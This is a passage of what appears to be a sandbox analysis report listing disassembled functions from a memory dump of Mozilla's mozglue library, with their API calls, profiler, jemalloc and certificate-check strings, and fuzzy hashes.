getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6CAE55E6
ReleaseSRWLockExclusive.KERNEL32(6CB5F4B8), ref: 6CAE5606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CAE5616

Part of subcall function 6CB0AB89: EnterCriticalSection.KERNEL32(6CB5E370,?,?,?,6CAD34DE,6CB5F6CC,?,?,?,?,?,?,?,6CAD3284), ref: 6CB0AB94
Part of subcall function 6CB0AB89: LeaveCriticalSection.KERNEL32(6CB5E370,?,6CAD34DE,6CB5F6CC,?,?,?,?,?,?,?,6CAD3284,?,?,6CAF56F6), ref: 6CB0ABD1

GetCurrentThreadId.KERNEL32 ref: 6CAE563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CAE5646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6CAE567C
free.MOZGLUE(?), ref: 6CAE56AE

Part of subcall function 6CAF5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CAF5EDB
Part of subcall function 6CAF5E90: memset.VCRUNTIME140(6CB37765,000000E5,55CCCCCC), ref: 6CAF5F27
Part of subcall function 6CAF5E90: LeaveCriticalSection.KERNEL32(?), ref: 6CAF5FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6CAE56E8
GetCurrentThreadId.KERNEL32 ref: 6CAE5707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6CAE570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6CAE5729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6CAE574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6CAE576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6CAE5796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6CAE57B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6CAE57CA

Strings

GeckoMain, xrefs: 6CAE5554, 6CAE55D5
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6CAE5BBE
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6CAE5749
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6CAE584E
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6CAE5C56
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6CAE5D2B
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6CAE5766
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6CAE5D01
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6CAE56E3
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6CAE5724
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6CAE54A3
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6CAE5B38
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6CAE57AE
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6CAE5CF9
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6CAE5D24
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6CAE5717
[I %d/%d] profiler_init, xrefs: 6CAE564E
MOZ_BASE_PROFILER_HELP, xrefs: 6CAE5511
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6CAE548D
MOZ_BASE_PROFILER_LOGGING, xrefs: 6CAE54B9
MOZ_PROFILER_STARTUP, xrefs: 6CAE55E1
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6CAE57C5
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6CAE5791
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6CAE5D1C
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6CAE5AC9

Memory Dump Source

Source File: 00000000.00000002.2482929970.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2482904963.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482996093.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483020866.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483043697.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-1266492768
Opcode ID: 51cd60b8bb6176456f20ea3eb0d33e9a117ee55b0a1b91f56571321e10b4c88b
Instruction ID: 4114c2996a2e754869f2efee0f4bd50674575deb398cb4660d54315b1e3d8636
Opcode Fuzzy Hash: 51cd60b8bb6176456f20ea3eb0d33e9a117ee55b0a1b91f56571321e10b4c88b
Instruction Fuzzy Hash: A2224974A043809FEB00AF75E45426EB7F5EF4A35CF884929E84697B41EB30C498DB93

Function 6CAE6C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727encryptionfileCOMMON

Download Yara Rule

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6CAE6CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6CAE6D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6CAE6D26

Part of subcall function 6CAECA10: malloc.MOZGLUE(?), ref: 6CAECA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6CAE6D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6CAE6D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6CAE6D73
free.MOZGLUE(00000000), ref: 6CAE6D80
CertGetNameStringW.CRYPT32 ref: 6CAE6DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6CAE6DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6CAE6DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6CAE6DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6CAE6E10
CryptMsgClose.CRYPT32(00000000), ref: 6CAE6E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6CAE6E34
CreateFileW.KERNEL32 ref: 6CAE6EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6CAE6F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6CAE6F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6CAE709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6CAE7103
free.MOZGLUE(00000000), ref: 6CAE7153
CloseHandle.KERNEL32(?), ref: 6CAE7176
__Init_thread_footer.LIBCMT ref: 6CAE7209
__Init_thread_footer.LIBCMT ref: 6CAE723A
__Init_thread_footer.LIBCMT ref: 6CAE726B
__Init_thread_footer.LIBCMT ref: 6CAE729C
__Init_thread_footer.LIBCMT ref: 6CAE72DC
__Init_thread_footer.LIBCMT ref: 6CAE730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6CAE73C2
VerSetConditionMask.NTDLL ref: 6CAE73F3
VerSetConditionMask.NTDLL ref: 6CAE73FF
VerSetConditionMask.NTDLL ref: 6CAE7406
VerSetConditionMask.NTDLL ref: 6CAE740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6CAE741A
moz_xmalloc.MOZGLUE(?), ref: 6CAE755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CAE7568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6CAE7585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CAE7598
free.MOZGLUE(00000000), ref: 6CAE75AC

Part of subcall function 6CB0AB89: EnterCriticalSection.KERNEL32(6CB5E370,?,?,?,6CAD34DE,6CB5F6CC,?,?,?,?,?,?,?,6CAD3284), ref: 6CB0AB94
Part of subcall function 6CB0AB89: LeaveCriticalSection.KERNEL32(6CB5E370,?,6CAD34DE,6CB5F6CC,?,?,?,?,?,?,?,6CAD3284,?,?,6CAF56F6), ref: 6CB0ABD1

Strings

(, xrefs: 6CAE768A
wintrust.dll, xrefs: 6CAE72CD
SHA256, xrefs: 6CAE6EC0
CryptCATAdminReleaseCatalogContext, xrefs: 6CAE72C8

Memory Dump Source

Source File: 00000000.00000002.2482929970.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2482904963.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482996093.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483020866.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483043697.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: 495f2f3b49940eaf1b14fe1a310dda1749d73f2eae72d1a8631c4a8422466c9f
Instruction ID: ef26cb055b5627317f628faab696308cdc4fa5b557dcbce092a2d2fd275f7cc7
Opcode Fuzzy Hash: 495f2f3b49940eaf1b14fe1a310dda1749d73f2eae72d1a8631c4a8422466c9f
Instruction Fuzzy Hash: 5052E4B1A003589BEB21DF64CC84BAAB7B8EF49718F144599E909D7641DB70AEC4CF90

Function 6CB10DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CB10F1F
LeaveCriticalSection.KERNEL32(?), ref: 6CB10F99
memcpy.VCRUNTIME140(?,?,?), ref: 6CB10FB7
EnterCriticalSection.KERNEL32(?), ref: 6CB10FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6CB11031
LeaveCriticalSection.KERNEL32(?), ref: 6CB110D0
EnterCriticalSection.KERNEL32(?), ref: 6CB1117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6CB11C39
EnterCriticalSection.KERNEL32(6CB5E744), ref: 6CB13391
LeaveCriticalSection.KERNEL32(6CB5E744), ref: 6CB133CD
LeaveCriticalSection.KERNEL32(?), ref: 6CB13431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB13437

Strings

MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6CB137A8
: (malloc) Unsupported character in malloc options: ', xrefs: 6CB13A02
MALLOC_OPTIONS, xrefs: 6CB135FE
MOZ_CRASH(), xrefs: 6CB13950
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CB13559, 6CB1382D, 6CB13848
Compile-time page size does not divide the runtime one., xrefs: 6CB13946
<jemalloc>, xrefs: 6CB13941, 6CB139F1
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6CB137BD
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6CB13793
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6CB137D2

Memory Dump Source

Source File: 00000000.00000002.2482929970.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2482904963.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482996093.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483020866.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483043697.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: aa2cfdb1f155d3faaa46b2ed677e7a0f8d2965f1c0e2131609f4b11efb32bc78
Instruction ID: 2f56522ddd31cda09d4bf91bbc979aeb3b4ccc36038fa736006d349e41bf8653
Opcode Fuzzy Hash: aa2cfdb1f155d3faaa46b2ed677e7a0f8d2965f1c0e2131609f4b11efb32bc78
Instruction Fuzzy Hash: 14538071A097818FD704CF29C540616FBE1FF86328F29C66DE8699BB91D771E841CB82

Function 6CB334A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB33527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB3355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB335BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB335E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB3363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB33693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB336CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB33703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB3373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB33775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB3378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB33892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB338BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB33902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB33939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB33970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB339EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB33A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB33AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB33E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB33EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB33EE2

Part of subcall function 6CB36180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6CB361DD
Part of subcall function 6CB36180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6CB3622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB340F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB3412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB34157

Part of subcall function 6CB36180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6CB36250
Part of subcall function 6CB36180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB36292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB3441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB34448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CB3484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CB34863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CB34878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CB34896
free.MOZGLUE ref: 6CB3489F

Strings

, xrefs: 6CB34CD2

Memory Dump Source

Source File: 00000000.00000002.2482929970.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2482904963.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482996093.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483020866.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483043697.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: 3eb967c8c17009ea94fcc5b21d1a59d3c94ca4875ffc5b3f270a5e99427d7dcb
Instruction ID: 6f200d8e190a2f31205981029ca13bc7c700aeefbfc742e06f1e4c61423d4f3c
Opcode Fuzzy Hash: 3eb967c8c17009ea94fcc5b21d1a59d3c94ca4875ffc5b3f270a5e99427d7dcb
Instruction Fuzzy Hash: 79F23974908B908FC725CF28C08469AFBF1FF89348F518A5ED99997715DB329886CF42

Function 6CAE64C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6CAE64DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6CAE64F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6CAE6505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6CAE6518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6CAE652B
memcpy.VCRUNTIME140(?,?,?), ref: 6CAE671C
GetCurrentProcess.KERNEL32 ref: 6CAE6724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6CAE672F
GetCurrentProcess.KERNEL32 ref: 6CAE6759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6CAE6764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6CAE6A80
GetSystemInfo.KERNEL32(?), ref: 6CAE6ABE
__Init_thread_footer.LIBCMT ref: 6CAE6AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CAE6AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CAE6AF7

Strings

nvdxgiwrap.dll, xrefs: 6CAE6513
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6CAE6798
detoured.dll, xrefs: 6CAE64DA
user32.dll, xrefs: 6CAE6526
_etoured.dll, xrefs: 6CAE64ED
nvd3d9wrap.dll, xrefs: 6CAE6500

Memory Dump Source

Source File: 00000000.00000002.2482929970.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2482904963.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482996093.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483020866.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483043697.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: 4ced872201d835f5021c217eb85459aa6806106646d7013a570c77142d9202d4
Instruction ID: 2caf1b6c92c89ffe3db899fe67e795fc48a956e095e3118a0d4d451dad08a7c8
Opcode Fuzzy Hash: 4ced872201d835f5021c217eb85459aa6806106646d7013a570c77142d9202d4
Instruction Fuzzy Hash: E9F1E270A0522D8FDB20DF64CC48B9AB7B5AF0A318F184699D919A3741E731AEC4DF90

Function 6CB3C4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB3C5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB3C6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6CB3C74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6CB3C7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6CB3C9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB3CC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CB3CD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB3DB40
memcpy.VCRUNTIME140(?,?,?), ref: 6CB3DB62
memcpy.VCRUNTIME140(?,?,?), ref: 6CB3DB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB3DD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CB3DE95
memcpy.VCRUNTIME140(?,?,?), ref: 6CB3E360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB3E432
memcpy.VCRUNTIME140(?,?,?), ref: 6CB3E472

Memory Dump Source

Source File: 00000000.00000002.2482929970.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2482904963.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482996093.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483020866.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483043697.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: 987c463e6893844578d3670cfae3702084bacedb71e174ed4b35a85388ef59c5
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: 9F33AF71E0426ACFCB04CFA8C8806EDBBF2FF49310F198269D959AB755D731A945CB90

Function 6CAEFD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CB5E7B8), ref: 6CAEFF81
LeaveCriticalSection.KERNEL32(6CB5E7B8), ref: 6CAF022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6CAF0240
EnterCriticalSection.KERNEL32(6CB5E768), ref: 6CAF025B
LeaveCriticalSection.KERNEL32(6CB5E768), ref: 6CAF027B

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6CAEFE99, 6CAEFEB7, 6CAEFED3, 6CAF0DB8, 6CAF0DD3, 6CAF19B4
<jemalloc>, xrefs: 6CAF0D62, 6CAF0D76, 6CAF0DA7
: (malloc) Error in VirtualFree(), xrefs: 6CAF0D67, 6CAF0D7B, 6CAF0DAC

Memory Dump Source

Source File: 00000000.00000002.2482929970.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2482904963.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482996093.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483020866.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483043697.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: 49588b97a14be3e140bc8b81c02f6ac7a00adbcfe4bc27f9b6eb53ed8b0593e2
Instruction ID: 40603c5147ed4ca42a2937d6cacf930ab2a605f36476419023f641449a8956ed
Opcode Fuzzy Hash: 49588b97a14be3e140bc8b81c02f6ac7a00adbcfe4bc27f9b6eb53ed8b0593e2
Instruction Fuzzy Hash: B0C27D71A057418FD714CF28C980716BBE1BF85328F28C66DE9B98B795D771E882CB81

Function 6CB3E680 Relevance: 31.1, APIs: 22, Instructions: 3648COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00004014), ref: 6CB3E811
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB3EAA8
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CB3EBD5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB3EEF6
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB3F223
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6CB3F322
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB40E03
memcpy.VCRUNTIME140(?,?,?,?), ref: 6CB40E54
memcpy.VCRUNTIME140(?,?,?), ref: 6CB40EAE
memcpy.VCRUNTIME140(?,?,?), ref: 6CB40ED4

Memory Dump Source

Source File: 00000000.00000002.2482929970.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2482904963.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482996093.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483020866.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483043697.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: 913d34bcb01fc855a6291e4c06edf50ac44fc784d3ebe2e1bb1e396c9a2b1d5e
Instruction ID: a599df7f2c31f473393097a0d32ed5069c9c49328eead497120b9d5376f489ba
Opcode Fuzzy Hash: 913d34bcb01fc855a6291e4c06edf50ac44fc784d3ebe2e1bb1e396c9a2b1d5e
Instruction Fuzzy Hash: 57638171E0429ACFCB04CFA8C8906DDF7B2FF99310F298269D859AB755D730A945CB90

Function 6CB13E50 Relevance: 27.0, APIs: 13, Strings: 2, Instructions: 765COMMON

Download Yara Rule

APIs

Part of subcall function 6CB37770: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6CB13E7D,?,?,?,6CB13E7D,?,?), ref: 6CB3777C

tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6CB13F17
memset.VCRUNTIME140(?,00000000,00000110), ref: 6CB13F5C
VerSetConditionMask.NTDLL ref: 6CB13F8D
VerSetConditionMask.NTDLL ref: 6CB13F99
